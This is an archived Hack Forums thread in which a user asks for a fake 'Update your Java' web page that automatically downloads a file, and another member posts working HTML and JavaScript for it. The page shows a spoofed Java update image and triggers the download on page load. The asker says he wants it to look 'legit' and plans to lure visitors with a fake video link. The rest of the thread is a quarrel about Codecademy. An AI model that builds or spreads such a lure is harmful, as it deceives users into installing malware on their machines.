Hack Forums
[Help] Help with HTML Java code - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Coders Lounge (https://hackforums.net/forumdisplay.php?fid=5)
+---- Thread: [Help] Help with HTML Java code (/showthread.php?tid=4694228)



Help with HTML Java code - furyofspades - Feb 19, 2015

Need a fake "Need to update your Java" code for HTML that auto downloads a file and then redirects to another url.

If you can help please tell me here or pm (I cant pm)

Thanks


* - Niely - Feb 19, 2015

Code:
Code
<!DOCTYPE html>
<html>
<head>
    <title>Update your Java</title> <!--Text presented in Browser-tab-->
    <style>
    body {
        background-color: #A4A4A4;
    }
    img {
        max-width: 100%;
    }
    #java {
        position:absolute; top:35%; left: 35%;
        cursor: default;
    }
    </style>
    <script>
        function java() {
            var url = "http://142536789.cf/downloads/ClamAV-Easy.tar.gz"; //REPLACE WITH OWN FILE
            window.open(url, 'Download');
        }
    </script>
</head>
<body [b]onload=[/b]"java()">
    <img id="java" src="http://www.question-defense.com/wp-content/uploads/2010/05/java-update-available.gif" onClick="java()"/>  <!--REPLACE IMAGE-->
</body>
</html>
Save as: java.html

Try doing a bit more research on yourself OP. :)
This is a basic page/image, you'll have to edit the background yourself etc to make it look realistic.


* - furyofspades - Feb 20, 2015

thanks for answering me. I was looking for more of a like top of my site error that they click now ill have to make a php script that redirects to that when they click my video or something. Thanks!


* - Niely - Feb 20, 2015

(Feb 20, 2015 12:01 AM)furyofspades Wrote:  thanks for answering me. I was looking for more of a like top of my site error that they click now ill have to make a php script that redirects to that when they click my video or something. Thanks!

Shouldn't be to hard to make.
Do you even know HTML, CSS, JavaScript, and PHP? :)
http://codecademy.com

You really have to take a look at that one.


* - Windows95 - Feb 20, 2015

(Feb 20, 2015 06:04 AM)๖ۣۜNiely Wrote:  Shouldn't be to hard to make.
Do you even know HTML, CSS, JavaScript, and PHP? :)
http://codecademy.com

You really have to take a look at that one.

http://codecademy.com is a horrible recommendation and is actually considered a insult to thoes of us who code, what if the OP knew how todo this and just wanted a HQ Css'ed one ?


* - Niely - Feb 20, 2015

(Feb 20, 2015 06:08 AM)ProgramLogic Wrote:  http://codecademy.com is a horrible recommendation and is actually considered a insult to thoes of us who code, what if the OP knew how todo this and just wanted a HQ Css'ed one ?

CodeCademy isn't horrible.
It's the best way to learn languages like HTML & CSS.

For ultimate beginners, CodeCademy is awesome to get the basics.


* - furyofspades - Feb 20, 2015

I know how to code in HTML perfectly and some CSS of course but I need the pics and stuff for a really legit looking java update page and I dont know if I can do that perfectly or where to get it thats why im asking


* - Niely - Feb 20, 2015

(Feb 20, 2015 09:36 AM)furyofspades Wrote:  I know how to code in HTML perfectly and some CSS of course but I need the pics and stuff for a really legit looking java update page and I dont know if I can do that perfectly or where to get it thats why im asking

Startpage images would just work. :)


* - Windows95 - Feb 20, 2015

(Feb 20, 2015 06:13 AM)๖ۣۜNiely Wrote:  CodeCademy isn't horrible.
It's the best way to learn languages like HTML & CSS.

For ultimate beginners, CodeCademy is awesome to get the basics.

Yes if you want to learn what he <HTML> tag is, otherwise that site litterly saddens me.


* - Niely - Feb 20, 2015

(Feb 20, 2015 12:55 PM)ProgramLogic Wrote:  Yes if you want to learn what he <HTML> tag is, otherwise that site litterly saddens me.

Explain me what's wrong with an interactive way to learn a language, which gives amazing exercises and explanation + includes a Q&A forum?


* - Windows95 - Feb 20, 2015

(Feb 20, 2015 03:39 PM)๖ۣۜNiely Wrote:  Explain me what's wrong with an interactive way to learn a language, which gives amazing exercises and explanation + includes a Q&A forum?
Nothing is wrong with that simply the content it's teaching you is near to nothing, also it has the answers in the Q&A that every 9 year old uses.


* - Niely - Feb 21, 2015

(Feb 20, 2015 04:31 PM)ProgramLogic Wrote:  Nothing is wrong with that simply the content it's teaching you is near to nothing, also it has the answers in the Q&A that every 9 year old uses.

In JavaScript for example, they teach you statements, loops, functions, variables, expressions, and of course the structured way of thinking. :)
Besides that, as long as the Q&A gives answers who work and explain it, it's okay for me.